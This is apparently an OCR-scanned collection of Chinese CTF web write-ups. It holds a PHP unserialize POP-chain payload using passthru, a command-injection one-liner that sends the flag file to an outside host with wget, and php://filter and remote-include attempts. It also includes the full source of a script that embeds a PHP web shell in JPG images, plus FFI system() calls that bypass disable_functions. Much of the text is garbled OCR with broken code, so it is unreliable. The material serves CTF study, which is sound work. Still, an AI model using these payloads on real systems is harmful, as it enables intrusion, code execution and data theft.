$shell ='0:8:"openfunc":1:{s:6:"object";0:4:"evil":4:{s:4:"data";s:".$len.":".$data.";s:1:"a";N;s:1:"b";s:27:"0:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10
Ms\h\e\N"; 3,

$shell2 ='0:8:"openfunc":2:{s:6:"object";0:4:"evil":4:{s:4:"data";s:".$len."".$data.";s:1:"a";N;s:1:"b";s:27:"0:6:"normal": 1:{s:1:"d";N;}";s:1:"c";s:1
0:"\s\h\e\NI";}}';

$encode2 = base64_encode($shell2);

var_dump($encode2);

$encode = base64_encode($shell);

unserialize(base64_decode($encode));
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PHP [ J7> 51| tb—14 & POP %

CTF 2 Zeid FR#&IF A curlZzBUE A #4F
HERphpthth i AR FE T Seid

PHPZ i PCRE [E] 3] ) i B fi] G218 5 £ 22 £ {R 1
ToF B Fwebshell 5 45

POP## F &A1

& FFI4K openfunc

CVER W %:it_ wakeup()

ZeidnormalZ& iy fil & hack i) action()Ek & & FZevilf¥action()
$this->a->d F R RH O

urldecode ‘E4%:? B FME T HI I

$this->a = unserialize($this->b); /b %42 /& /FF# Tnormal()
var_dump($this->c);

$this->a->d = urldecode(date($this->c)); // £normal() #d J& FEIR (B 3555 T 3 Fyshell
echo '$this->a->d:". $this->a->d.'</br>";

AT G B A A

XA B B AN T !
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BE<=> 5 <> B& X

BJE i T passthru $147

HEEAOD

D525 burpi#EAT url g i

T HRbase64_encodela i + 43N M 3R B A 4%

R A4 HTE burpSt LB BRI T ! — AN

$data = "<?=passthru(‘cp /ff* ../1.txt");?>";

$len = strlen($data);

$shell ='0:8:"openfunc":1:{s:6:"object";0:4:"evil":4:{s:4:"data";s:".$len.":".$data.";s:1:"a";N;s:1:"b";s:27:"0:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10
Ms\h\e\N"; 3}

$shell2 ='0:8:"openfunc":2:{s:6:"object";0:4:"evil":4:{s:4:"data";s:".$len."".$data.";s:1:"a";N;s:1:"b";s:27:"0:6:"normal": 1:{s:1:"d";N;}";s:1:"c";s:1
0:"\s\n\e\\I";}}';

$encode2 = base64_encode($shell2);

var_dump($encode2);

$encode = base64_encode($shell);

unserialize(base64_decode($encode));

o KRiflagHE 3|
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https://www.freebuf.com/articles/web/266565.html
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://xz.aliyun.com/t/8107
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[42 1] PictureGenerator
VA TRERINE, MIRMERIERREARBA L, FEAREKI T EE (bushi
1B 2 BR 5 R AN E] !

RO ?

SE R
RaRCTF 2021 WriteUps
lemonthinker& 4

LERMEES TN ERTERAE KT X8 lemonthink
R JE Bk = HWriteUp T
—ARZEEE~FHRALA
— AR §() FHEEAT S HITE. ..
RARHERBEA T BR~
(F AR B FERLIS()HD

w2 AT Sed


https://blog.maple3142.net/2021/08/09/rarctf-2021-writeups/#lemonthinker
https://ctftime.org/task/16902
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@app.route('/generate', methods=['POST'])
def upload():
global clean
if time.time() - clean > 60:
os.system("rm static/images/*")
clean = time.time()
data = request.form.getlist('text"')[0]
data = data.replace("\"", "")

data = data.replace("$","")

name = "".join(random.choices(chars,k=8)) + ".png"

os.system(f"python3 gene.py {nam:} \"{data}\"")

return redirect(url_for('static', filename='images/' + name), code=301)

if " main__":
app.run("0.0.0.0",80)

B 1 < P B 52 FLAG
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$(cat ./fla* | xargs -} wget "https://hengyimonster.top/hacker/get.php/?info={}") 2
awk -F{ '{print $2}' /flag I
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https://www.freebuf.com/articles/web/264092.html
https://blog.csdn.net/qq_45927819/article/details/109671655
https://www.anquanke.com/post/id/241808#h3-9
https://blog.csdn.net/a1414345/article/details/73729469

I ERETKE FRIxAK
payload: “cat /flag | cut -b 1°
payload “cat /flag | cut -b1-4"
5-10 {fhfgu

11-15 fghui

16-20 _ewft

21-25 ftdf_

26-30 whfdw

31-35 eyidg

36-40 _gafd

41-45 hjasd

46-50 h_egh

51-55 fhef_

56-60 rhgfj

61-65 rikfu

66-70 111}

I REE R BAE & E
payload “cat /flag | cut -b5-20" ...

/I flag
{fhfgufghui_ewftftdf_whfdweyidg_gafdhjasdh_eghtfhef_rhgdfjrikfu!!!!}
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https://www.cnblogs.com/linfangnan/p/13535097.html
https://tr0jan.top/archives/19/
https://blackdn.github.io/2020/04/04/CTF-File-Inclusion-2020/
https://www.codenong.com/cs107071361/
https://segmentfault.com/a/1190000018991087
https://xz.aliyun.com/t/5535
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® Google O, #BE HE M B > (7)YouTube @ M [C CSDN - ZUFA.. BEIEENE (- )D.. 2% BT —FASTLINK P& Chrome M

Warning: include(1): failed to open stream: No such file or directory in [varjwww/htmlfindex.php on line 8

Warning: include(): Failed opening 1" for inclusion (include_path=":/usr/local/lib/php') in Jvar/www/html/index.php on line 8

Imgbed

s
m
ma

REREATEEEE, NTHIEMEZ ZEERBRRSSFER], ReBERE~

FRINBEZEIE T ~
& (@) O & 35.229.138.83:18008/index.php?action=https://hengyimonster.top/hacker/log.txt B n e w?e,lg

Dumerws EHFrs OzpRt @ 55@m G Googe @z QEE @B @ (7) Youlube @) CSDN - BWHFEE. @ BEEE( - )DO.. @ W —FASTLNK @) Chrome R_ERIFE ..
Warning: include(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in Jvar/www/html/index.php on line 8
Warning: include(https://hengyimonster.top/hacker/log.txt): failed to open stream: no suitable wrapper could be found in [var/www/htmlfindex.php on line 8

Warning: include(): Failed opening 'https://hengyimonster.top/hacker/log.txt' for inclusion (include_path=":/usr/local/lib/php') in [var/www/html/index.php on line 8

Imgbed = WiEE ) BEEERX  ® E#hengyi

$ payload php:/ffilter/read=convert.base64-encode/resource=./upload.php

K C O 8 35.229.138.83:18008/index.php?action=php://filter/read=convert.base64-encode/resource=upload.php I

Dsmerws MFFrr Dsmmit O =5@H G cooge @ 12Z @EE @B @ (7) YouTube @) CSDN- LWFAE. @ BEEIE( - )DO.. @ BT —FASTLNK @) ¢
J9waHAKc2Vzc2lvbl9zdGFydCgpOwppZiAolWIzc2VOKCRfUOVTUOIPTIsnbGOnaW4nXSkplHsKICAgIGhIYWRIcigiTGOjYXRpb2461GluZGV4LnBocClpOwc
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index.php &4 88 H Y6 T
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BfMEE B EE T ~PHPEREFMERRIEER!


https://xz.aliyun.com/t/4029

["name"];
'</br>";
["type"];
. '</br>";
["data"];

( s

== "jpg" || — "jpeg”) &&

= ( ('YmdGHs') . ( (true), 11, 4)
'WEENXHRTF: . .'</br>";

'REXHEER. .'</br>";
(

(
"BEIEBE A F</br>";
if ( == "image/jpeg"){
'SR '</brs>';
'NHRTFRRRR: . '</br>';
= );

($im);
(
'IBR ST ;

}
else if( == "image/png"){
'SR Y, . '</br>";
=@ (
( );
($im, );
}
else if( == "image/gif"){
'SR . ' </br>";
= (

ZIRE G ?

SEHRE
upload-labs pass 16414 #r



https://xz.aliyun.com/t/2657#toc-7
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WGl < shell15.gif

00000070h: FE 7A .
00000080h: 6A A6 N}, .
00000090h: A6 OE Lo} ¥ ra va Vv®
000000abh: @02 7A 7 «22.2@.r¢.29.~2.
000000bOh: 76 A2 povg2~2, .2, ", k.
000000cOh: BA 3E ; 9>,2F,2N,9YB.AN.&
000000doh: 56 9E ; V.ARGAVGAZ!EZ2Er
000000edh: B2 D2 ; 20~20

000000T0h: A2 A6 : ¢ lee®222333)p, .
00000100h: FE A6 ; Ppi2p?2p91.20.3%0.
00000110h: BE DA ; %U29I.AU.£U.EPeA
00000120h: D6 AA : 02048@02202AAAEEE
00000130h: D2 D2 000pPPp0OOP0O06GUP
00000140h: DA DA ; UOppUUzPAPEEALI=
00000150h: EE D2 ; 10=00édbi<?php $
00000160h: 66 66 ; ffi = FFI::cdef(
00000170h: 22 69 ; "int system(char
00000180h: 2A 20 ; % command);");$f
00000190h: 66 69 ; fi —>system("cat
000001a0h: 20 2F ;  /tmp/1 | tee /
000001boh: 37 38 ; 78

000001cOh: E2 E2

000001doh: EA FE

000001e0dh: F2 EE ; Oiomoodéouioniadao
000001f0h: F2 F2 ; 00000pdOPHBUGDUP

FIFEH ~ JPGHRAT, FAIABN kg~

BERAERNEA A —ERY, BAESHIK~

/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions image
copyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:

Jpg_payload.php <jpg_name.jpg>



In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:

1) After the second processing the injected data may become partially corrupted.

2) The jpg_payload.php script outputs "Something's wrong".

If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

7

$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');

if(lisset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DatalnputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctimage = TRUE;

if($dis->readShort() != OXFFD8) {
die('Incorrect SOl marker');

while((!$dis->eof()) && ($dis->readByte() == OxFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if(Smarker === 0xDA\) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checklmage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes == 0) {
while((!$dis->eof())) {
if($dis->readByte() === OxFF) {
if($dis->readByte !== 0x00) {
break;

}

$stonPos = $dis->seek() - 2:



v~ e e ;=

$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctimage) {
$outStream = $outStreamTmp;
}else {
break;
}
if(checklmage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;

}
unlink('payload_".$argv[1]);
die('Something\'s wrong');

function checklmage($filename, $data, $unlink = FALSE) {
global $correctimage;
file_put_contents($filename, $data);
$correctimage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctimage;

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctimage;
$correctimage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];

class DatalnputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {

$this->binData = ";
$this->order = $order;
if(! $fromString) {

if(!file_exists($filename) || lis_file($filename))

die('File not exists ['.$filename."');

$this->binData = file_get_contents($filename);

}else {



$this->binData = $filename;
}
$this->size = strlen($this->binData);

}

public function seek() {
return ($this->size - strlen($this->binData));

}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);

public function readShort() {

if(strlen($this->binData) < 2) {

die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {

$short = (ord($short[1]) << 8) + ord($short[0]);
} else {

$short = (ord($short[0]) << 8) + ord($short[1]);
}

return $short;

public function eof() {
return ! $this->binDatal|(strlen($this->binData) === 0);

?>

HH 7« php jpg_payload.php 1.jpg A%} BT
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ffi.enable On On

ffi.preload no value no value

Disable Functions && FFI

SRR
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245t Disable Functionsk #2145

MRCTF nextphp& PHP7 .4/]FFI5¢iddisable_functions
bypass disable_functionZ # 75 ¥+ 245

# . Bypass Disable Functions 751 i 45

%iid Disable Functionsk %1%

<?php

/| G Egif #ipayload

$ffi = FFl::cdef("int system(char* command);"); # & #C & & # HisystemiFi £
$ffi ->system("ls / > /tmp/res.txt"); # #/7ls /ir & H K5 RGN /tmp/res.ixt
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https://www.laruence.com/2020/03/11/5475.html
https://www.freebuf.com/articles/network/263540.html
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/4.0K Nov 21 11:28 etc
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BugkuCTF 54> RR A (3 52 5 )
“HEMCTFLL3E + A% Not Found
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